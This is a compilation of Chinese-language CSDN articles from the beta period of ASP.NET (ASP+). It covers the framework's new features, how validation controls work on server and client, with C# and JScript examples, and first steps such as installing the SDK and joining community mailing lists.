在这个专题里我们将介绍asp.net，Asp.net又叫asp+，他不是asp的简单升级,而是　　microsoft推出的新一代Active Server Pages。ASP.net是微软发展的新的体系结.NET的一部分，其中全新的技术架构会让每个人的编程生活变得更的简单。故我们特地找了一些资料向大家介绍这项技术。

   首先,需要特别指出的是,ASP.NET不仅仅只是一个有新界面并且修复了一些缺憾的ASP3.0升级版本(就象大家曾经用3.0于2.0版做比较一样).更为重要的是ASP.NET是在抓住ASP 的最大优点并全力使其扩大化的基础上开发出来的,并且同时也修复了许多ASP运行时会发生的错误

    为了能让大家对于这个新技术有完善的,全面的了解.首先我将讲述ASP.NET的下部构造, 它为ASP.NET的其它变化提供了依据,然后我将会概述ASP.NET的特征和变化.它们提供稳定的性能,优秀的升级性, 更快速更简便的开发, 更简便的管理,全新的语言以及网络服务

    ASP.NET有着如此全新的特征和功能改进,无疑的,你们想马上升级并且用ASP.NET开始写自己的新的代码.但是呢,有个小问题就是,你们已有的许多代码也许不能在新系统下运行

    为了解决这些问题,微软设计了ASP.NET以便能够在先前版本的ASP下同时运行.为此我们不得不有一本超长的说明,但是为了能更好的使用,又何乐而不为呢。

    贯穿整个ASP.NET的主题就是系统帮您做了大部份不重要的琐碎的工作.如果您喜欢凡事亲力亲为,那么你也可以自己处理或者不按系统的默认方式来处理. 另一方面,您在使用ASP.NET时,只需将精力集中在如何完善您的方案上而不是在建立基础构架,因为ASP.NET已经为您做好了充分的基础构架

    新的ASP.NET下部构造|(NGWS runtime)

    新的ASP.NET下部构造不只是 ASP 的一个简单变化. 在此引入收管代码(managed code)这样一个全新概念,它横贯整个视窗开发平台. 受管代码在NGWS Runtime下运行. NGWS Runtime是一个时间运行环境,它管理代码的执行,使程序设计更为简便.

    Asp.net的新性能

    一个程序，速度是一件非常令人渴望的东西。一旦代码开始工作，接下来你就得尽可能的让它运作的快些，再快些，在ASP中你只有尽可能拧干你的代码， 以至于不得不将他们移植到一个仅有很少一点性能的部件中。但现在呢，微软将推出的ASP.NET会妥善的解决这一问题.

    Web controls

    Web controls使创建forms 和HTML controls.的工作将会变得简单易行。例如，在ASP中典型的选择框/ select box里，你不得不创建一个循环以便让控制系统装入数据。但在ASP.net里，你将会拥有一个"data-bound"，这意味着它会与数据源连接，并会自动装入数据。

    语言支持

    asp.net支持多种语言，它的缺省语言将是：visual basic而不是vbscript，这意味着我们可以摆脱vbscript的语言限制，我们的代码将是编译后运行的（而不是原来的解释执行）。

    更好的代码控制

    对于COM对象不再需要再在服务器上注册的这个功能我们是非常喜爱的。但是通过这种过程简化，你再也不能够在你的服务器上运行 另外一个DLL版本，并且代码相当保密，这意味着，如果没有正确的开发工具和源代码，很难改变代码。

    更好的升级能力

此系统建成，本身有着一定的特性，以改进多处理器和串环境中的性能。例如，session state 能够通过单独的处理器来维持，在一个单独的机器上，甚至在数据库中允许交叉的服务器会话。

    结束语

    一个全新的技术诞生的时候，总是充满困难的。通常的，对于一个新技术，你总会听到好的或者坏的两方面的意见。ASP.net 并不是网络应用技术的终结，但是它确实朝好的发展方向迈出了一大步。它便利的功能冲抵了它的不足，但是，用辨证的眼光去对待一切新事物，总是没有坏处的。


csdn_深入讲解 ASP+ 验证

  深入讲解 ASP+ 验证
作者： Anthony Mo
简介

这篇文章详细讲解了 ASP+ 验证控件的工作方式。如果要生成其中包含验证控件的复杂页面，或是要扩展验证框架，建议您阅读本文。如果要学习使用验证控件，或是要决定是否使用验证控件，请参见“ASP+ 中的用户输入验证（英文）”。

入门

我们知道，在整个 ASP+ 开发过程中，了解验证非常重要。看看如今的大多数商业 Web 站点，您会发现，这些站点中有许多表单，这些表单明显是通过执行大量手写的代码来执行验证。编写验证代码并不是一件有趣的工作。如果要通过编写代码来显示数据表或动态生成图表，可能会很吸引人，但是没有人可以向他的同事证实这种很“酷”的方法能够禁止在姓名字段中输入空值。

因为其它一些原因，Web 应用程序的验证也是非常麻烦的。HTML 3.2 对您可以控制的内容或可以从用户处得到的反馈的限制很多，因此无法应用在功能更全的客户机上可以使用的技巧，例如禁止用户输入某些字符，或发出嘀声。使用浏览器脚本可能会产生更强大的验证。但是这种方法很难得以证实，因为客户浏览器中并非一定有脚本，并且恶意的用户可以绕过。因此，为了保证站点安全，有必要对服务器进行同样的检查。

在开发 ASP+ 时，我们的初衷是只使用一个控件来处理验证，可能本该是一个能够显示错误的 TextBox 控件。可是到了设计该控件时，却发现无法实现这种愿望。我们研究了大量的数据输入表单，试图找到可以适用于尽可能多的表单的一种解决方案。我们发现，数据输入表单具有许多有趣的特性：

尽管错误信息或图标经常与输入元素相邻，但是它们几乎总是位于表的不同单元格中。
页面中经常会有一个区域来汇总所有错误。
许多站点包含客户端脚本，以便提供更快捷的反馈，同时防止白白地在与服务器之间往返。
许多包含客户端脚本的站点在出现错误时会显示信息框。
不仅会验证文本输入，还会验证下拉列表和单选按钮。
如果某个字段为空，站点通常会显示与该条目无效时不同的信息或图标。
许多有效性检查可以很好地代替常用的表达式。
验证通常是基于两个输入之间的比较结果。
90% 或 90% 以上的验证任务是一些常见的操作，例如检查姓名或邮政编码。大多数站点似乎仍在重复进行这些工作。
因为站点之间的差别通常太大，无法获得一种完美的解决方案来处理每个站点的所有验证任务。
考虑了上述所有情况，最终获得的解决方案包括五个验证器控件、ValidationSummary 控件以及与 Page 对象的集成。同时很明显，该解决方案需要扩展，在客户机和服务器上均需要有一个 API 来配合。

我们在研究进行的各种验证时发现，我们似乎需要一个更大的工具箱。在大多数组件环境中，例如 Microsoft® ActiveX®，我们可能本来试图将所有验证控件的功能集成到一个控件中，处理不同模式下的不同属性。不过，幸好 Microsoft® .NET 框架中有神奇的继承性，可以提供一套控件来对特定的属性进行特定的验证，因为派生每个新控件所需的额外工作量非常小。

这些控件所完成的大多数工作均在其公用的父级 BaseValidator 中实现。您也可以从 BaseValidator 或其它控件派生来完成各项工作。实际上，即使 BaseValidator 都懒得实现其自己的 Text 属性，而是从 Label 属性继承。

何时发生何事？

在处理包含验证 Web 控件的页面时，了解事件序列非常有效。如果某个验证条件是可选的，您需要准确了解客户机和服务器上何时进行验证。如果要自己编写验证例程，可能会非常耗时，或者有副作用。同时，了解调用验证例程的时机也很重要。

首先，让我们看一下服务器。

服务器端的验证序列

了解页面的有效期非常重要。如果习惯于在 Visual Basic 或类似功能齐全的客户机工具中处理表单，则需要花一定的时间来了解。页面和页面上的所有对象并非在与用户交互时一直有效，尽管有时表面上是这样。

以下是在第一次访问某个页面时一个简化的事件序列：

基于 ASPX 文件创建页面及其控件。
触发 Page_Load 事件。
页面和控件属性保存在一个隐藏字段中。
页面和控件转换到 HTML。
丢弃所有内容。
现在，当用户单击某个按钮或类似控件时，将返回服务器，然后执行一个类似的事件序列。该序列称为返回序列：

基于 ASPX 文件创建页面及其控件。
从隐藏字段恢复页面和控件属性。
根据用户输入更新页面控件。
触发 Page_Load 事件。
触发更改通知事件。
页面和控件属性保存在一个隐藏字段中。
页面和控件转换到 HTML。
再次丢弃所有内容。
我们为什么不将所有对象保留在内存中呢？因为使用 ASP+ 建立的 Web 站点无法处理数量非常大的用户。因此，服务器的内存中只保留马上要处理的内容。

何时进行服务器端验证？在第一次获取页面信息时，根本不会进行服务器端验证。大多数最终用户都非常认真，我们允许用户自己确认在表单中填写的信息是否正确，然后我们再使用红色的文字通知用户填错的信息。

在返回事件序列中，第 3 步和第 4 步之间会进行验证。也就是说，进行验证是在来自用户的数据装回控件属性后，但在大多数代码执行之前。这意味着在编写用户事件代码时，通常可以利用已经进行的验证。一般情况下，您都会希望这样做。

在该时刻进行验证的缺点是：如果您要通过编程来修改某些影响该验证的属性，该时刻就太迟了。例如，您会发现，如果通过编写代码来启用或禁用验证控件或更改验证控件的属性，在下一次处理该页之前，不会看到任何影响。通过以下两种方法可以避免这个问题：

在进行验证之前修改属性。
在属性更改之后重新验证控件。
这两种方法均需要使用在 Page 对象上有效的验证属性和方法。

页面 API

Page 对象包含一些与服务器端验证有关的重要属性和方法。表 1 中总结了这些属性和方法：

表 1. Page 对象的属性和方法

属性或方法 说明
IsValid 属性 这是最有用的属性。该属性可以检查整个表单是否有效。通常在更新数据库之前进行该检查。只有 Validators 集中的所有对象全部有效，该属性才为真，并且不将该值存入缓存。
Validators 属性 该页所有验证对象的集合。这是实现 IValidator 界面的对象的集合。
Validate 方法 在验证时调用的一种方法。在 Page 对象上默认的执行方式是转至每个验证器，并要求各验证器自行评估。

Validators 集合对于许多任务都非常有用。该集合是实现 IValidator 界面的对象的集合。我之所以使用对象这个词，而不是使用控件，是因为 Page 对象只关注 IValidator 界面。既然所有的验证器通常都是用来实现 IValidator 的一些可视化控件，那么任何人都应能够使用任意的验证对象，并将验证对象加入页面中。

IValidator 界面包含以下属性和方法：

表 2. IValidator 界面的属性和方法

属性或方法 说明
IsValid 属性 指出单独的验证对象进行的有效性检查是否已经通过。您可以在验证后手工更改该值。
ErrorMessage 属性 介绍验证对象要验证的错误以及可能会向用户显示的错误。
Validate 方法 对验证对象执行有效性检查，以更新其 IsValid 值。

您可以使用该界面执行一些有趣的任务。例如，要将页面重置为有效的状态，请使用以下代码（如 C# 中的示例所示）：

IValidator val;
foreach(val in Validators) {
Val.IsValid = true;
}

要重新执行整个验证序列，请使用以下代码：

IValidator val;
foreach(val in Validators) {
Val.Validate();
}

如果有 Beta 1 版或更高版本，也可以只对 Page 对象调用 Validate 方法，这样可以完成相同的任务。要在验证前进行某些更改，可以覆盖 Validate 方法。本例显示一个包含验证器的页面，其中的验证器根据复选框的值开或关：

public class Conditional : Page {
public HtmlInputCheckBox chkSameAs;
public RequiredFieldValidator rfvalShipAddress;

protected override void Validate() {
//只检查到货地址（如果与付款地址不同）
bool enableShip = !chkSameAs.Checked;
rfvalShipAddress.Enabled = enableShip;
//现在执行验证
base.Validate();
}
}

客户端的验证

如果您的页面启用了客户端验证，则在往返过程中会发生完全不同的事件序列。客户端的验证使用客户端 JScript® 实现。实现该验证不需要任何二进制组件。

尽管 JScript 语言的标准化做得很好，但是用于与浏览器中的 HTML 文档交互的文档对象模型 (Document Object Model, DOM) 没有广泛采用的标准。因此，客户端的验证只在 Internet Explorer 4.0 和更高版本中进行，因为该验证的对象是 Internet Explorer DOM。

从服务器的角度来说，客户端的验证只意味着验证控件将不同的内容发送到 HTML 中。除此之外，其事件序列完全相同。服务器端的检查仍然执行。尽管看起来似乎多余，但是却十分重要，因为：

某些验证控件可能不支持客户端脚本。有一个很好的例子：如果要同时使用 CustomValidator 和服务器验证函数，但是没有客户机验证函数。
安全性注意事项。某些人可以很容易得到一个包含脚本的页面，然后禁用或更改该页面。您不应利用脚本来阻止坏数据进入您的系统，而只应是为了用户得到更快的反馈。因此，如果要使用 CustomValidator，则不应提供没有相应服务器验证函数的客户机验证函数。
每个验证控件都可以确保将一个标准的客户端脚本块发送到页面中。实际上，这只是一小部分代码，其中包含对脚本库 WebUIValidation.js 中的代码的引用。这个脚本库文件包含客户端验证的所有逻辑，该文件需单独下载，并且可以存储在浏览器的缓存中。

关于脚本库

因为验证 Web 控件脚本在脚本库中，所以不必将所有客户端验证的代码直接发送到页面中，尽管表面上似乎是这样做的。主要的脚本文件引用类似如下所示：

<script language="javascript"
src="/_aspx/1.0.9999/script/WebUIValidation.js"></script>

默认情况下，脚本文件将安装在 "_aspx" 目录中默认的根目录下，并使用相对于根的脚本 include 指令调用，该指令以正斜线开头。该引用表明每个单独的对象不必包含脚本库，同一台计算机上的所有页面可以引用同一个文件。您会注意到，该路径中还有一个公用的语言运行时版本号，以便不同的运行时版本可以在同一台计算机上运行。

如果查看一下您默认的虚拟根目录，您会找到该文件并查看其中的内容。这些文件的位置在 config.web 文件中指定。config.web 文件是一个用于大多数 ASP+ 设置的 XML 文件。以下是该文件中位置的定义：

<webcontrols
clientscriptslocation="/_aspx/{0}/script/"
/>

鼓励您阅读该脚本，以便深入了解发生的事件。不过，建议您不要修改这些脚本，因为它们的功能与特定的运行时版本紧密相连。在运行时版本更新时，这些脚本可能也需要相应的更新，您将或者放弃更改，或者面临脚本不工作的问题。如果特定项目必须更改这些脚本，先备份这些脚本，然后将您的项目指向备份文件，方法是使用私有的 config.web 文件替代这些文件的位置。如果字符串中包含格式指令 "{0}"，运行时版本号将替换该指令。最好将该位置更改为一个相对引用或绝对引用。

禁用客户端的验证

有时您可能不希望进行客户端验证。如果输入字段的数目很少，客户端验证可能用处不大。您毕竟每次都要有一个需要往返服务器一次的逻辑。您会发现客户机上动态出现的信息对您的布局会有负面影响。

要禁用客户端验证，应使用 Page 指令 "clienttarget=downlevel"。该指令类似以下 ASPX 文件的开头：

<%@ Page Language="c#" clienttarget=downlevel %>

该指令的默认值为 "auto"，表示您只对 Microsoft Internet Explorer 4.0 或更高版本进行客户端验证。

注意： 不幸的是，在 Beta 1 中，该指令并非仅仅是禁用验证，同时还会使所有 Web 控件使用 HTML 3.2 标记来处理，这可能会产生意想不到的结果。最终版本提供了更好的方法来控制这个问题。

客户端事件序列

该序列是在运行包含客户端验证的页面时发生的事件序列：

在页面载入浏览器时，需要对每个验证控件进行一些初始化。这些控件作为 <span> 标记发送，其 HTML 特性与服务器上的特性最接近。最重要的是，此时会将验证器引用的所有输入元素“挂接”。被引用的输入元素将修改其客户端事件，以便在每次输入更改时调用验证例程。
脚本库中的代码将在用户使用 tab 键在各字段之间切换时执行。某个独立的字段更改时，将重新评估验证条件，根据需要使验证器可见或不可见。
当用户尝试提交表单时，将重新评估所有验证器。如果这些验证器全部有效，表单将提交给服务器。如果存在一处或多处错误，则会出现下述情况：
提交被取消。表单并不提交给服务器。
所有无效的验证器均可见。
如果某个验证摘要包含 ShowSummary=true，则将收集来自验证控件的所有错误，并使用这些错误更新其内容。
如果某个验证摘要包含 ShowMessageBox=true，则将收集错误，并在客户机的信息框中显示这些错误。
因为在每次输入更改时或提交时会执行客户端验证控件，所以在客户机上通常会评估这些验证控件两次或两次以上。请注意，提交后，仍将会在服务器上对这些验证控件进行重新评估。

客户端 API

有一个可以在客户机上使用的小型 API，以便在您自己的客户端代码中实现各种效果。因为某些例程不可能隐藏，所以理论上讲，您可以利用客户端验证脚本所定义的所有变量、特性和函数。不过，其中许多都是可以更改的实施细节。以下总结了我们鼓励您使用的客户端对象。

表 3. 客户端对象

名称 类型 说明
Page_IsValid Boolean 变量 指出页面当前是否有效。验证脚本总是保持该变量为最新。
Page_Validators 元素数组 这是包含页面上所有验证器的数组。
Page_ValidationActive Boolean 变量 指出是否应进行验证。将此变量设置为 False 可以通过编程关闭验证。
isvalid Boolean 属性 每个客户端验证器均具有该属性，指出验证器当前是否有效。请注意，在 PDC 版本中，该属性混用大小写 ("IsValid")。

绕过客户端验证

您经常需要执行的一项任务是在页面上添加“取消”按钮或导航按钮。在这种情况下，即使页面上有错误，您可能也希望使用该按钮提交页面。因为客户端按钮 "onclick" 事件在表单的 "onsubmit" 事件之前发生，因此可能会避免提交检查，并绕过验证。以下说明如何使用 HTML Image 控件作为“取消”按钮完成该任务：

<input type=image runat=server
value="取消"
onclick="Page_ValidationActive=false;"
OnServerClick=cmdCancel_Click >

使用 Button 或 ImageButton 控件执行该任务会出现一些混淆，因为 "onclick" 事件假定为同名的服务器端事件。您应在客户端脚本中设置该事件：

<asp:ImageButton runat=server id=cmdImgCancel
AlternateText="取消"
OnClick=cmdCancel_Click/>

<script language="javascript">
document.all["cmdImgCancel "].onclick =
new Function("Page_ValidationActive=false;");
</script>

解决该问题的另一种方法是：对“取消”按钮进行一定的设置，使其在返回时不会触发客户端脚本中的提交事件。HtmlInputButton 和 LinkButton 控件就是这样的例子。

特殊效果

另一种常见的要求是：在出错时，除了由验证器自身显示的错误信息外，还需要其它一些效果。在这种情况下，您所作的任何修改均需在服务器或客户机上同时进行。假设您需要加入一个 Label，根据输入是否有效来更改颜色。以下是如何在服务器上实现该任务：

public class ChangeColorPage : Page {
public Label lblZip;
public RegularExpressionValidator valZip;

protected override void OnLoad(EventArgs e) {
lblZip.ForeColor = valZip.IsValid? Color.Black : Color.Red;
}
}

上述方法一切都很完美，但是，只要您如上所述修改验证，就会发现除非您在客户机上进行了相同的操作，否则看起来会非常不一致。验证框架会使您避免许多这种双重效果，但是无法避免您必须在客户机和服务器上同时实现的其它效果。以下是在客户机上执行同一任务的片段：

<asp:Label id=lblZip runat=server
Text="Zip Code:"/>
<asp:TextBox id=txtZip runat=server
OnChange="txtZipOnChange();" /></asp:TextBox><br>
<asp:RegularExpressionValidator id=valZip runat=server
ControlToValidate=txtZip
ErrorMessage="无效的邮政编码"
ValidationExpression="[0-9]{5}" /><br>

<script language=javascript>
function txtZipOnChange() {
//如果客户端验证未处于活动状态，则不执行任何操作
if (typeof(Page_Validators) == "undefined") return;
//更改标签的颜色
lblZip.style.color = valZip.isvalid ? "Black" : "Red";
}
</script>

Beta 1 客户端 API

对于 Beta 1 版，一些可以从客户端脚本调用的函数会造成其它一些情况。

表 4. 从客户端脚本调用的函数

名称 说明
ValidatorValidate(val) 将某个客户端验证器作为输入。使验证器检查其输入并更新其显示。
ValidatorEnable(val, enable) 获取一个客户端验证器和一个 Boolean 值。启用或禁用客户端验证器。如果禁用，将不会评估客户端验证器，客户端验证器将总是显示为有效。
ValidatorHookupControl(control, val) 获取一个输入 HTML 元素和一个客户端验证器。修改或创建该元素的 change 事件，以便在更改时更新验证器。该函数适合于基于多个输入值的自定义验证器。

其特殊用途是启用或禁用验证器。如果您希望验证只是在特定的情况下生效，可能需要在服务器和客户机上同时更改激活状态，否则，您会发现用户无法提交该页面。

以下是上面的示例加上一个字段，该字段只在取消选中某个复选框时才会进行验证。

public class Conditional : Page {
public HtmlInputCheckBox chkSameAs;
public RequiredFieldValidator rfvalShipAddress;
protected override void Validate() {
bool enableShip = !chkSameAs.Checked;
rfvalShipAddress.Enabled = enableShip;
base.Validate();
}
}

以下是客户端等效的代码：

<input type=checkbox runat=server id=chkSameAs
onclick="OnChangeSameAs();" >与付款地址相同<br>
<script language=javascript>
function OnChangeSameAs() {
var enableShip = !event.srcElement.status;
ValidatorEnable(rfvalShipAddress, enableShip);
}
</script>

有效性规则和有用的错误信息

每个验证器会显示有关特定控件特定情况的特定错误信息。其中有一些确认是否有效的规则，开始，您作为一个开发人员可能会有些混淆，但是如果要生成对用户有实际帮助的错误信息，这些规则是必要的。

所有空的验证器（除了 RequiredFieldValidator）均会被认为有效。如果某个空值无效，您通常需要一个 RequiredFieldValidator 和一个其它验证器。您需要这样做，因为一般情况下，您总是希望对空验证器和有效性显示不同的错误信息。您也可以使用不明确的信息，例如“您必须输入一个值，并且该值必须在 1 和 10 之间”。

在输入字段无法转换为指定数据类型时使用的另一个特殊规则与 CompareValidator 和 RangeValidator 有关。对指定了 ControlToCompare 的 CompareValidator 进行的有效性评估过程类似如下所述：

如果 ControlToValidate 引用的输入字段为空，则有效。
如果 ControlToValidate 引用的输入字段无法转换成所需数据类型，则无效。
如果 ControlToCompare 引用的输入字段无法转换成所需数据类型，则有效。
输入字段转换成所需数据类型并进行比较。
第三步看起来有些不符合直觉。之所以这样评估，是因为如果验证器同时检查多个字段的有效性，很难为该验证器写出有意义的错误信息。应使用一个独立的验证器来报告 ControlToCompare 输入字段中的错误情况。RangeValidator 的工作方式类似，具有 maximum 和 minimum 属性。

Enabled、Visible 和 Display 属性的作用

验证器的 Enabled、Visible 和 Display 属性之间的区别可能不是非常明显。

Display=None 可以用来指定验证器不直接显示任何内容，但是仍然进行评估，仍然影响总体的有效性，并且仍可以将错误放在客户机和服务器上的摘要中。对于客户端验证，这些值确定使用可见性样式特性还是使用显示样式特性来打开或关闭验证器。对于服务器端验证，Display=Dynamic 表示输入有效时不显示任何内容，而 Display=Static 表示显示一个不换行的空格 (" ")。使用最后一个设置是为了表中只包含验证器的单元格在有效时，不会折叠成不显示任何内容。

为什么不只使用 Visible=false 使验证器不可见呢？在 ASP+ 中，控件的 Visible 属性有许多含义：Visible=false 的控件根本不会被处理来预显示或显示。正是因为这种含义，验证器的 Visible=false 意味着不仅不会显示任何内容，而且无法使用。不会对这样的验证器进行评估，不会影响页面的有效性，也不会将错误放在摘要中。

Enabled 则为中性。对于大多数情况，Enabled=false 与 Visible=false 的效果完全相同。在 Beta 1 版或更高版本中，存在一个重要的区别：在客户端验证中，禁用的验证器仍会发送到浏览器中，但是处于禁用状态。您可以使用客户端脚本中的 ValidatorEnable 函数激活该验证器。

使用 Visible 或 Enabled 控制是否进行验证时，应注意上述服务器上的事件顺序。或者在验证之前进行更改，或者在更改之后重新验证。否则，它们的 IsValid 值不会将更改反映到属性上。

CustomValidator 控件

扩展验证框架最简单的方法是使用 CustomValidator 控件。该控件既可以用来执行其它验证控件无法进行的验证，也可以执行需要访问服务器上信息（例如数据库或 Web 服务）的验证。

如果添加了只定义一个服务器验证函数的 CustomValidator，您会注意到，该验证器并不参与客户端验证。当用户使用 tab 键在各字段之间切换时，CustomValidator 不会更新，并且需要往返服务器一次以执行其验证。如果要使用 CustomValidator 执行不需要任何服务器上信息的检查，您也可以使用 ClientValidationFunction 属性让验证器完全参与客户端验证。假设您提供了一个 ClientValidationFunction，理想情况下，应与服务器验证处理程序执行完全相同的检查。但实际上，只是执行该验证的一部分。客户端验证函数进行的验证不要超过在服务器上执行的验证，因为黑客很容易绕过该验证函数。

以下是在客户机和服务器上使用 CustomValidator 的一个简单示例，只检查输入是否是偶数。以下先介绍服务器函数（在 C# 中）：

public bool ServerValidation(object source, string value) {
try {
int i = int.FromString(value);
return ((i % 2) == 0);
} catch {
return false;
}
}

以下是该函数在客户机上的声明方法，以及一个执行相同检查的客户端验证函数。这通常是 JScript 形式，不过如果您的目标是 Microsoft® Internet Explorer，也可以使用 VBScript® 形式。

<asp:CustomValidator id="customVal2" runat=server
ErrorMessage="数字不可以被 2 除！"
ControlToValidate="txtCustomData"
OnServerValidationFunction=ServerValidation
ClientValidationFunction="CheckEven" /><br>
Data Field : <asp:TextBox id="txtCustomData" runat="server" />
<script language=javascript>
<!--
function CheckEven(source, value) {
var val = parseInt(value, 10);
if (isNaN(val))
return false;
return ((val % 2) == 0);
}
// -->
</script>

以下是使用 CustomValidator 的一些注意事项：

与所有其它验证控件类似（RequiredFieldValidator 除外），如果输入字段为空，则认为 CustomValidator 有效。
如果使用较旧的浏览器，或者关闭了客户端验证，将无法调用客户端验证函数。在定义该函数之前，您不必检查所用浏览器的功能，但是需要确保浏览器不会因为定义而造成脚本错误。一定要使您的客户端代码作为 HTML 注释，如下例所示。
两个参数传递到您的客户端函数中，与传递给服务器函数的参数对应。第一个是客户端验证器元素，第二个是 ControlToValidate 指定的控件值。不过，在客户机上，您可以选择不为函数定义参数，这样也会正常工作。
如果使用 Beta1 版或更高版本，您可以保留 ControlToValidate 为空。在该模式中，服务器函数每次往返总会触发一次，客户端函数每次尝试提交时总会触发一次。您可以使用该特性来验证其它方法无法验证的控件，例如 CheckBoxList 或单独的单选按钮。如果条件是基于多个控件，并且您不希望用户使用 tab 键在页面上各字段之间切换时评估该条件，可以使用该方法。
Beta 1 版或更高版本中的另一个选项是挂接多个控件的 change 事件。方法是加入一些调用客户端函数 ValidatorHookupControl 的内嵌脚本，如上所述。

哪些控件可以被验证？

要使控件可以被验证控件引用，该控件必须具有验证属性。所有可以验证的控件均具有 ValidationPropertyAttribute 属性，该属性指明验证时应读取的属性。如果编写自己的控件，可以通过提供其中一个特性来指定要使用的属性，从而使该控件参与验证。

要使验证可以在客户端正常进行，该属性必须与客户端显示的 HTML 元素的 value 特性对应。许多复杂的控件（例如 DataGrid 和 Calendar）在客户端没有值，只能在服务器上进行验证。因此，只有最接近 HTML 元素的控件才可以参与验证。此外，控件必须在客户端具有单个逻辑值。因此，RadioButtonList 可以被验证，但是 CheckBoxList 不可以。

到此为止

上述对 ASP+ 验证的讲解可能已经超过了您要了解的内容。尽情享用吧！


csdn_asp.net 入门的五个步骤

  asp.net 入门的五个步骤
作者： rob howard
步骤 1：下载和安装 .net sdk
asp.net 是作为 .net sdk 的一部分提供的，它是创建、生成和测试基于 .net framework 的应用程序所需要的所有技术的集合。要下载和安装 .net sdk，请前往 msdn online .net 开发人员中心（英文），然后单击“download the .net framework sdk beta 1”。下载内容大约有 90 mb；不过，有一个选项可以将 sdk 分为一系列小文件进行下载。

在安装 asp.net 之前，需要安装 internet explorer 5.5，您可以从 http://www.microsoft.com/windows/ie/default.htm（英文）下载它。

注意：sdk 的技术预览版本仅支持安装了 internet information services (iis) 5.0 的 windows 2000 server，而 beta 1 版本则支持 windows nt 4.0 和 iis 4.0。

步骤 2：安装 .net framework 的快速入门示例
如果您已经安装了 sdk，那么也应该安装 .net framework 的快速入门示例。包括在 .net sdk 内的快速入门示例包含各种 asp.net 特性和其他 .net 技术的详细示例。

要安装快速入门示例：

打开 sdk overview 链接 (.net framework sdk overview)，该链接已在 sdk 安装过程中添加至您的桌面。
html 页面打开后，单击 .net framework samples 链接。
按照安装步骤来安装示例。
安装完成后，您可以在 http://localhost/quickstart/default.htm 访问示例。
最后，在浏览默认文档时，您可以选择页面顶端的 asp.net 链接。此链接包含了 asp.net 示例的列表。
步骤 3：加入 aspng 讨论列表
charles carroll 作为不断壮大的 asp.net 社团的领导者之一，一直尽心尽力地主持着基于电子邮件的 asp.net 讨论列表。事实上，从七月初专业开发人员会议 (pdc) 的第一天开始，这个讨论列表就一直存在。

此讨论列表是学习和发布日益丰富的 asp.net 开发人员知识的最佳选择。charles 会检查和筛选所有的消息，确保发布的文章都与此列表相关，从而使讨论不脱离主题。

除了社区方面的列表以外，microsoft .net framework 小组还定期参加讨论并发布示例代码。最近一次是 scott guthrie 发布了一个动态生成图像的 asp.net 示例。

要加入讨论列表，只需访问 http://www.asplists.com/asplists/aspng.asp（英文）。在此页面上，您可以找到与 asp.net 相关的不同主题的电子邮件讨论列表的完整列表。最活跃的列表是 aspngbeta，我们推荐您加入这个列表。请从列表中选择 aspngbeta。您也可以直接访问 http://www.asplists.com/asplists/aspngbeta.asp（英文），选择所需的接收电子邮件分发的选项。

步骤 4：常见问题
如果我安装 sdk 并且使用 asp.net，会不会中断现有的 asp 应用程序？
不会。asp.net 应用程序与现有的 asp 应用程序可以同时运行。

asp 使用的文件扩展名（如 .asp 和 .asa）和 asp.net 使用的文件扩展名（如 .aspx、.asax、.ascx、.asmx 等等）是完全独立的，不会互相替代。而且，asp.net 应用程序的处理由一个独立的 isapi 扩展进行。

一点说明：尽管 asp 和 asp.net 应用程序可以同时运行，但即使在同一目录下，它们也不能共享应用程序信息。例如，在 global.asa 中所作的设置不会影响 asp.net 应用程序，而在 global.asax 中所作的设置也不会影响 asp 应用程序。类似地，应用程序和会话状态信息也不共享。asp 应用程序中的某个用户无法使用在 asp.net 应用程序中为同一个用户添加的会话数据，除非重新创建该用户。

创建 asp.net 页面需要使用 visual studio 或其他工具吗？
不需要。尽管 visual studio.net 将提供惊人的设计、编码和调试环境，但创建 asp.net 应用程序并不需要使用它。asp.net 遵循与 asp 相同的“只需保存”设计原则：任何基于文本的编辑程序都可用于创建 asp.net 应用程序。在第一次访问 asp.net 页面时，该页面会自动编译，以后的请求将访问编译过的资源。

asp.net 可以在 windows 95、windows 98 和 windows me 上运行吗？
不可以。您确实可以利用这些平台之一来进行开发，但是 asp.net 应用程序必须运行在 web 服务器上，或者运行在安装了 iis 的 windows 2000 或 windows nt 4.0 上。

步骤 5：进一步了解
在这一步中，我将尽量概括一些联机、印刷和活动方面的重要资源。如果得到新消息，我会继续补充新的资源和活动。

ibuyspy microsoft asp.net 示例应用程序
ibuyspy（英文）是功能全面的电子商务应用程序，它详细介绍了如何使用 asp.net 创建高性能、可伸缩的 web 应用程序。您可以联机浏览示例应用程序（包括完整的源代码和文档），也可以下载完整的 c# 或 visual basic.net 版本的应用程序。

asp.net 主机服务
brinkster inc.（英文）是最大的免费 asp web 主机服务提供商，它提供免费 asp.net 主机服务。加入的每个成员可获得 5 mb 空间用于测试和学习 asp.net。用于测试和学习的成员身份，给开发人员提供了了解这项新技术的机会。brinkster 提供免费 asp 主机服务已经有一年多的时间，在 asp/asp.net 主机服务市场处于领先地位。

社区站点和分发列表
asp.net 社区（包括人、活动、讨论列表和新闻组等）是非常奇妙的，它不仅是得到答案或解决问题的最好场合之一，而且其中还有一些站点提供联机的快速入门示例——这意味着您可以尝试 asp.net，而不需要安装它。

http://www.aspfree.com（英文）是比较全面的 asp.net 社区站点之一，由 steve schofield 管理。您可以在这里找到十多篇关于 asp.net 的文章，以及联机的 asp.net 快速入门示例。如果您不能安装 net.sdk，这是您学习 asp.net 的不错的选择。作为奖励，您还可以得到 wrox press 出版的 a preview of asp.net 第 1 章的联机版本。
http://www.aspng.com（英文）是另外一个比较全面的 asp.net 相关站点。aspng 包括至以下内容的链接：charles carroll 上载的 asp.net 类和 stephen walther 上载的 asp.net workshop。最后，aspng 还包括一个比较活跃的电子邮件讨论列表。相关信息请参见 http://www.asplists.com（英文）。
http://www.asp101.com（英文）几篇 asp.net 相关文章，以及按线索组织的、基于 web 讨论的 asp.net 论坛。
http://www.asptoday.com（英文）wrox press 的联机杂志已经有 10 篇关于 asp.net 的文章，范围从 ado+ 到生成服务器控件。
http://www.4guysfromrolla.com（英文）4guysfromrolla 包括一些文章和其他相关资源。文章内容涉及 ado+ 和 asp.net 本身的概述。
http://www.devx.com（英文）最后，devx.com 包含比较全面的 asp.net 列表和可用的 .net 相关资源。从书籍、web 站点到活动，您都可以在这里找到感兴趣的东西。
书籍
现在有三本讲解 .net 的书籍：

presenting c# 概括介绍了新语言 c#（asp.net 支持的多种语言之一）。如果您希望快速简便地了解 c#，您可能需要这本书。
